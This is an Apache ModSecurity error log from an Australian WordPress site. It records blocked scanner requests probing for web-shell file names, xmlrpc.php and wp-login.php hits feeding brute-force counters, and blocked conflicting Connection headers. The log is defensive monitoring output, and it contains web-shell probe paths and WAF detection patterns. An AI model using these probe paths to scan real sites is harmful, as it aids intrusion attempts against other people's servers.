[Wed Apr 01 18:32:23.281311 2026] [:error] [pid 8908:tid 8927] [client 20.203.215.185:38098] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc0252.php"] [unique_id "acz0N_kmxtJXGnLdvgBB5QAAAI4"]
[Wed Apr 01 18:32:25.155567 2026] [:error] [pid 62559:tid 62583] [client 20.203.215.185:44508] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc0252.php"] [unique_id "acz0OS7NKI8IaNKZFIdndgAAAVY"]
[Wed Apr 01 18:32:26.611499 2026] [:error] [pid 8909:tid 8956] [client 20.203.215.185:40682] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "acz0OjvP_a0662gDl6BA9QAAAM8"]
[Wed Apr 01 18:32:27.286452 2026] [:error] [pid 8908:tid 8919] [client 20.203.215.185:38131] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "acz0O_kmxtJXGnLdvgBB9gAAAIY"]
[Wed Apr 01 18:32:28.646865 2026] [:error] [pid 8995:tid 9017] [client 20.203.215.185:40698] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "acz0POonaBjs3qxcReeZrAAAABM"]
[Wed Apr 01 18:32:29.640211 2026] [:error] [pid 8909:tid 8962] [client 20.203.215.185:55571] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "acz0PTvP_a0662gDl6BA_gAAANU"]
[Wed Apr 01 18:32:30.830051 2026] [:error] [pid 8995:tid 9001] [client 20.203.215.185:46790] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "acz0PuonaBjs3qxcReeZtgAAAAM"]
[Wed Apr 01 18:32:31.889641 2026] [:error] [pid 8908:tid 8917] [client 20.203.215.185:44874] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "acz0P_kmxtJXGnLdvgBCBgAAAIQ"]
[Wed Apr 01 18:32:33.312373 2026] [:error] [pid 17856:tid 17864] [client 20.203.215.185:60832] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "acz0QT7Idlm5j9frhqTPVwAAAEY"]
[Wed Apr 01 18:32:35.653923 2026] [:error] [pid 8909:tid 8956] [client 20.203.215.185:44902] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "acz0QzvP_a0662gDl6BBDwAAAM8"]
[Wed Apr 01 18:32:38.322100 2026] [:error] [pid 8909:tid 8965] [client 20.203.215.185:46842] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acz0RjvP_a0662gDl6BBGAAAANg"]
[Wed Apr 01 18:32:39.304115 2026] [:error] [pid 8908:tid 8913] [client 20.203.215.185:58573] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acz0R_kmxtJXGnLdvgBCIAAAAIA"]
[Wed Apr 01 18:32:40.164486 2026] [:error] [pid 8908:tid 8914] [client 20.203.215.185:38132] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acz0SPkmxtJXGnLdvgBCJQAAAIE"]
[Wed Apr 01 18:32:40.874207 2026] [:error] [pid 17856:tid 17881] [client 20.203.215.185:63830] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acz0SD7Idlm5j9frhqTPdAAAAFc"]
[Wed Apr 01 18:32:42.471363 2026] [:error] [pid 8995:tid 9017] [client 20.203.215.185:45991] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp3.php"] [unique_id "acz0SuonaBjs3qxcReeZxgAAABM"]
[Wed Apr 01 18:32:43.762463 2026] [:error] [pid 17856:tid 17858] [client 20.203.215.185:48281] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp3.php"] [unique_id "acz0Sz7Idlm5j9frhqTPiAAAAEA"]
[Wed Apr 01 18:32:45.403665 2026] [:error] [pid 8995:tid 9003] [client 20.203.215.185:45954] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp3.php"] [unique_id "acz0TeonaBjs3qxcReeZzAAAAAU"]
[Wed Apr 01 18:32:47.349409 2026] [:error] [pid 8910:tid 8989] [client 20.203.215.185:51443] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp3.php"] [unique_id "acz0T6JZINUcF3tYgEw6IQAAARU"]
[Wed Apr 01 18:32:51.573280 2026] [:error] [pid 8995:tid 9000] [client 20.203.215.185:46041] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acz0U-onaBjs3qxcReeZ8QAAAAI"]
[Wed Apr 01 18:32:55.703622 2026] [:error] [pid 8909:tid 8961] [client 20.203.215.185:60831] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acz0VzvP_a0662gDl6BBPQAAANQ"]
[Wed Apr 01 18:32:58.292702 2026] [:error] [pid 17856:tid 17866] [client 20.203.215.185:38370] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acz0Wj7Idlm5j9frhqTPqgAAAEg"]
[Wed Apr 01 18:32:59.294867 2026] [:error] [pid 8908:tid 8930] [client 20.203.215.185:39376] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "acz0W_kmxtJXGnLdvgBCRgAAAJE"]
[Wed Apr 01 20:34:37.885365 2026] [:error] [pid 8910:tid 8990] [client 154.16.49.97:43524] [client 154.16.49.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.16.49.97, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ac0Q3aJZINUcF3tYgExZbwAAARY"]
[Wed Apr 01 20:34:40.434162 2026] [:error] [pid 8910:tid 8977] [client 154.16.49.97:43524] [client 154.16.49.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.16.49.97, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ac0Q4KJZINUcF3tYgExZcgAAAQk"]
[Wed Apr 01 21:19:06.219169 2026] [:error] [pid 8908:tid 8923] [client 43.155.129.131:60798] [client 43.155.129.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ac0bSvkmxtJXGnLdvgCQUQAAAIo"]
[Wed Apr 01 21:20:19.564014 2026] [:error] [pid 8910:tid 8990] [client 175.6.217.4:53817] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ac0bk6JZINUcF3tYgExmEQAAARY"]
[Wed Apr 01 21:25:30.805602 2026] [:error] [pid 8908:tid 8927] [client 23.101.55.68:45019] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "ac0cyvkmxtJXGnLdvgCTAwAAAI4"]
[Wed Apr 01 21:25:31.306971 2026] [:error] [pid 17856:tid 17867] [client 23.101.55.68:55730] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "ac0cyz7Idlm5j9frhqRACAAAAEk"]
[Wed Apr 01 21:25:31.811104 2026] [:error] [pid 8908:tid 8931] [client 23.101.55.68:57608] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "ac0cy_kmxtJXGnLdvgCTCQAAAJI"]
[Wed Apr 01 21:25:32.317476 2026] [:error] [pid 8909:tid 8947] [client 23.101.55.68:57068] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "ac0czDvP_a0662gDl6DYjwAAAMY"]
[Wed Apr 01 21:25:32.823137 2026] [:error] [pid 8908:tid 8936] [client 23.101.55.68:30619] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ac0czPkmxtJXGnLdvgCTEgAAAJc"]
[Wed Apr 01 21:25:33.364226 2026] [:error] [pid 8908:tid 8926] [client 23.101.55.68:56907] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ac0czfkmxtJXGnLdvgCTFgAAAI0"]
[Wed Apr 01 21:25:33.871080 2026] [:error] [pid 8995:tid 9000] [client 23.101.55.68:39720] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ac0czeonaBjs3qxcRefQEwAAAAI"]
[Wed Apr 01 21:25:34.390572 2026] [:error] [pid 17856:tid 17862] [client 23.101.55.68:57662] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ac0czj7Idlm5j9frhqRADgAAAEQ"]
[Wed Apr 01 21:25:34.893286 2026] [:error] [pid 62559:tid 62578] [client 23.101.55.68:64852] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac0czi7NKI8IaNKZFIem7wAAAVE"]
[Wed Apr 01 21:25:35.394344 2026] [:error] [pid 62559:tid 62565] [client 23.101.55.68:30925] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac0czy7NKI8IaNKZFIem8AAAAUQ"]
[Wed Apr 01 21:25:35.899083 2026] [:error] [pid 17856:tid 17865] [client 23.101.55.68:57035] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac0czz7Idlm5j9frhqRAFwAAAEc"]
[Wed Apr 01 21:25:36.414341 2026] [:error] [pid 8909:tid 8948] [client 23.101.55.68:40653] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac0c0DvP_a0662gDl6DYmQAAAMc"]
[Wed Apr 01 21:25:36.937054 2026] [:error] [pid 17856:tid 17864] [client 23.101.55.68:57657] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac0c0D7Idlm5j9frhqRAHgAAAEY"]
[Wed Apr 01 21:25:37.458626 2026] [:error] [pid 8909:tid 8949] [client 23.101.55.68:40018] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac0c0TvP_a0662gDl6DYnAAAAMg"]
[Wed Apr 01 21:25:37.967432 2026] [:error] [pid 8909:tid 8964] [client 23.101.55.68:40651] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac0c0TvP_a0662gDl6DYngAAANc"]
[Wed Apr 01 21:25:38.467164 2026] [:error] [pid 8909:tid 8947] [client 23.101.55.68:64835] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac0c0jvP_a0662gDl6DYpAAAAMY"]
[Wed Apr 01 21:25:38.971973 2026] [:error] [pid 17856:tid 17875] [client 23.101.55.68:6059] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Okxob.php"] [unique_id "ac0c0j7Idlm5j9frhqRAKQAAAFE"]
[Wed Apr 01 21:25:39.471942 2026] [:error] [pid 17856:tid 17870] [client 23.101.55.68:55706] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Okxob.php"] [unique_id "ac0c0z7Idlm5j9frhqRALgAAAEw"]
[Wed Apr 01 21:25:39.982227 2026] [:error] [pid 17856:tid 17866] [client 23.101.55.68:47184] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Okxob.php"] [unique_id "ac0c0z7Idlm5j9frhqRANAAAAEg"]
[Wed Apr 01 21:25:40.488500 2026] [:error] [pid 8909:tid 8963] [client 23.101.55.68:6054] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Okxob.php"] [unique_id "ac0c1DvP_a0662gDl6DYqQAAANY"]
[Wed Apr 01 21:25:41.002437 2026] [:error] [pid 8908:tid 8913] [client 23.101.55.68:6026] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac0c1fkmxtJXGnLdvgCTLwAAAIA"]
[Wed Apr 01 21:25:41.508900 2026] [:error] [pid 17856:tid 17874] [client 23.101.55.68:42182] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac0c1T7Idlm5j9frhqRAOgAAAFA"]
[Wed Apr 01 21:25:42.021749 2026] [:error] [pid 62559:tid 62567] [client 23.101.55.68:56957] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac0c1i7NKI8IaNKZFIenAQAAAUY"]
[Wed Apr 01 21:25:42.523729 2026] [:error] [pid 8908:tid 8915] [client 23.101.55.68:56904] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac0c1vkmxtJXGnLdvgCTMwAAAII"]
[Wed Apr 01 21:25:43.027594 2026] [:error] [pid 62559:tid 62570] [client 23.101.55.68:40004] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac0c1y7NKI8IaNKZFIenAwAAAUk"]
[Wed Apr 01 21:25:43.528135 2026] [:error] [pid 17856:tid 17881] [client 23.101.55.68:56935] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac0c1z7Idlm5j9frhqRAQQAAAFc"]
[Wed Apr 01 21:25:44.035649 2026] [:error] [pid 8910:tid 8971] [client 23.101.55.68:57069] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac0c2KJZINUcF3tYgExnMwAAAQM"]
[Wed Apr 01 21:25:44.535754 2026] [:error] [pid 8995:tid 9008] [client 23.101.55.68:57623] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac0c2OonaBjs3qxcRefQHgAAAAo"]
